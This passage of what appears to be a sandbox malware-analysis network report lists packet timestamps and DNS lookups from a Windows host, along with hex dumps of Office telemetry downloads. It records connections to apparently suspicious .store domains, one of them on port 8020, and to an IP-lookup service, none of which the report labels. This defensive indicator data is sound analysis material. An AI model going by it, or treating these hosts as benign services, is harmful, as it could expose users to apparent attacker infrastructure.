Oct 23, 2024 21:07:00.028328896 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:07:00.028357029 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:07:00.028372049 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:07:00.028398991 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:07:09.621299028 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:07:09.845338106 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:07:11.579250097 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:11.579291105 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:11.579730034 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:11.594489098 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:11.594505072 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.295526028 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.295856953 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:12.295871973 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.297049046 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.297432899 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:12.297591925 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:12.297602892 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.339324951 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.341327906 CEST	60642	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:07:12.858867884 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.859055996 CEST	443	60642	63.250.38.7	192.168.2.6
Oct 23, 2024 21:07:12.859111071 CEST	60642	443	192.168.2.6	63.250.38.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 21:04:02.051901102 CEST	53	49947	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:02.126302958 CEST	53	63981	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:02.129784107 CEST	51687	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:02.129954100 CEST	51914	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:02.142291069 CEST	53	65513	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:02.142498970 CEST	53	51687	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:02.142529964 CEST	53	51914	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:03.368375063 CEST	53	58434	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:03.545612097 CEST	53671	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:03.545907021 CEST	63790	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:03.553708076 CEST	53	53671	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:03.553963900 CEST	53	63790	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:03.855056047 CEST	53	52164	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:03.862859964 CEST	63933	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:03.862988949 CEST	60853	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:03.876647949 CEST	53	63933	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:03.879745960 CEST	53	60853	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:05.027985096 CEST	65017	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:05.028296947 CEST	53700	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:05.052872896 CEST	65501	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:05.053344965 CEST	50757	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:05.061669111 CEST	53	50757	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:05.072309017 CEST	53	65501	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:05.100308895 CEST	53	53700	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:05.311681032 CEST	53	65017	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:06.222867966 CEST	53	55577	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:06.293409109 CEST	63979	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:06.293545008 CEST	51423	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:06.301408052 CEST	53	63979	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:06.301564932 CEST	53	51423	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:07.855664015 CEST	51668	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:07.856463909 CEST	55152	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:07.868293047 CEST	53	51668	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:07.871978998 CEST	53	55152	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:08.722228050 CEST	52674	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:08.722228050 CEST	50568	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:08.730180025 CEST	53	50568	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:08.730772018 CEST	53	52674	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:09.565746069 CEST	52695	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:09.565746069 CEST	63122	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:04:09.573137999 CEST	53	63122	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:09.573924065 CEST	53	52695	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:20.660027981 CEST	53	56556	1.1.1.1	192.168.2.6
Oct 23, 2024 21:04:39.375035048 CEST	53	59256	1.1.1.1	192.168.2.6
Oct 23, 2024 21:05:01.611567974 CEST	53	50310	1.1.1.1	192.168.2.6
Oct 23, 2024 21:05:01.897155046 CEST	53	52947	1.1.1.1	192.168.2.6
Oct 23, 2024 21:05:30.005517960 CEST	53	60760	1.1.1.1	192.168.2.6
Oct 23, 2024 21:06:16.211224079 CEST	53	57654	1.1.1.1	192.168.2.6
Oct 23, 2024 21:06:45.879008055 CEST	53	58618	1.1.1.1	192.168.2.6
Oct 23, 2024 21:07:04.668026924 CEST	53	50526	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 23, 2024 21:04:02.142352104 CEST	192.168.2.6	1.1.1.1	c224	(Port unreachable)	Destination Unreachable
Oct 23, 2024 21:05:31.410399914 CEST	192.168.2.6	1.1.1.1	c235	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 23, 2024 21:04:02.129784107 CEST	192.168.2.6	1.1.1.1	0x137e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:02.129954100 CEST	192.168.2.6	1.1.1.1	0x509f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 23, 2024 21:04:03.545612097 CEST	192.168.2.6	1.1.1.1	0xec03	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.545907021 CEST	192.168.2.6	1.1.1.1	0x91d1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 23, 2024 21:04:03.862859964 CEST	192.168.2.6	1.1.1.1	0xaab0	Standard query (0)	dezbelz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.862988949 CEST	192.168.2.6	1.1.1.1	0x10f4	Standard query (0)	dezbelz.store	65	IN (0x0001)	false
Oct 23, 2024 21:04:05.027985096 CEST	192.168.2.6	1.1.1.1	0x7e72	Standard query (0)	sopbtech.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:05.028296947 CEST	192.168.2.6	1.1.1.1	0xf66f	Standard query (0)	sopbtech.store	65	IN (0x0001)	false
Oct 23, 2024 21:04:05.052872896 CEST	192.168.2.6	1.1.1.1	0x3982	Standard query (0)	dezbelz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:05.053344965 CEST	192.168.2.6	1.1.1.1	0xad6a	Standard query (0)	dezbelz.store	65	IN (0x0001)	false
Oct 23, 2024 21:04:06.293409109 CEST	192.168.2.6	1.1.1.1	0x4a23	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:06.293545008 CEST	192.168.2.6	1.1.1.1	0xec8b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 23, 2024 21:04:07.855664015 CEST	192.168.2.6	1.1.1.1	0x8c31	Standard query (0)	server.povbtech.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:07.856463909 CEST	192.168.2.6	1.1.1.1	0x75fc	Standard query (0)	_8020._https.server.povbtech.store	65	IN (0x0001)	false
Oct 23, 2024 21:04:08.722228050 CEST	192.168.2.6	1.1.1.1	0x46c2	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Oct 23, 2024 21:04:08.722228050 CEST	192.168.2.6	1.1.1.1	0x7a9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:09.565746069 CEST	192.168.2.6	1.1.1.1	0xa266	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Oct 23, 2024 21:04:09.565746069 CEST	192.168.2.6	1.1.1.1	0xc416	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 23, 2024 21:04:02.142498970 CEST	1.1.1.1	192.168.2.6	0x137e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:02.142498970 CEST	1.1.1.1	192.168.2.6	0x137e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:02.142498970 CEST	1.1.1.1	192.168.2.6	0x137e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:02.142498970 CEST	1.1.1.1	192.168.2.6	0x137e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.553708076 CEST	1.1.1.1	192.168.2.6	0xec03	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.553708076 CEST	1.1.1.1	192.168.2.6	0xec03	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.553708076 CEST	1.1.1.1	192.168.2.6	0xec03	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.553708076 CEST	1.1.1.1	192.168.2.6	0xec03	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:03.876647949 CEST	1.1.1.1	192.168.2.6	0xaab0	No error (0)	dezbelz.store		63.250.38.7	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:05.072309017 CEST	1.1.1.1	192.168.2.6	0x3982	No error (0)	dezbelz.store		63.250.38.7	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:05.311681032 CEST	1.1.1.1	192.168.2.6	0x7e72	No error (0)	sopbtech.store		199.188.200.183	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:06.301408052 CEST	1.1.1.1	192.168.2.6	0x4a23	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:06.301564932 CEST	1.1.1.1	192.168.2.6	0xec8b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 23, 2024 21:04:07.867156029 CEST	1.1.1.1	192.168.2.6	0x1f2b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 21:04:07.867156029 CEST	1.1.1.1	192.168.2.6	0x1f2b	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 21:04:07.867156029 CEST	1.1.1.1	192.168.2.6	0x1f2b	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:07.868293047 CEST	1.1.1.1	192.168.2.6	0x8c31	No error (0)	server.povbtech.store		185.174.100.20	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:07.871978998 CEST	1.1.1.1	192.168.2.6	0x75fc	Name error (3)	_8020._https.server.povbtech.store	none	none	65	IN (0x0001)	false
Oct 23, 2024 21:04:08.730180025 CEST	1.1.1.1	192.168.2.6	0x7a9	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:08.730180025 CEST	1.1.1.1	192.168.2.6	0x7a9	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:08.730180025 CEST	1.1.1.1	192.168.2.6	0x7a9	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:08.730772018 CEST	1.1.1.1	192.168.2.6	0x46c2	No error (0)	api.ipify.org			65	IN (0x0001)	false
Oct 23, 2024 21:04:08.802279949 CEST	1.1.1.1	192.168.2.6	0x466	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 21:04:08.802279949 CEST	1.1.1.1	192.168.2.6	0x466	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:09.573137999 CEST	1.1.1.1	192.168.2.6	0xc416	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:09.573137999 CEST	1.1.1.1	192.168.2.6	0xc416	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:09.573137999 CEST	1.1.1.1	192.168.2.6	0xc416	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 23, 2024 21:04:09.573924065 CEST	1.1.1.1	192.168.2.6	0xa266	No error (0)	api.ipify.org			65	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

code.jquery.com

dezbelz.store

sopbtech.store

aadcdn.msauth.net

fs.microsoft.com

api.ipify.org

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49711	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:01 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:02 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:02 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 21 Oct 2024 13:21:21 GMT ETag: "0x8DCF1D34132B902" x-ms-request-id: 84bcd95b-b01e-001e-1a38-240214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190402Z-r1755647c66zkj29xnfn2r3bwn00000005u0000000003x1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:02 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-23 19:04:02 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-23 19:04:02 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-23 19:04:02 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-23 19:04:02 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-23 19:04:02 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-23 19:04:02 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-23 19:04:03 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-23 19:04:03 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
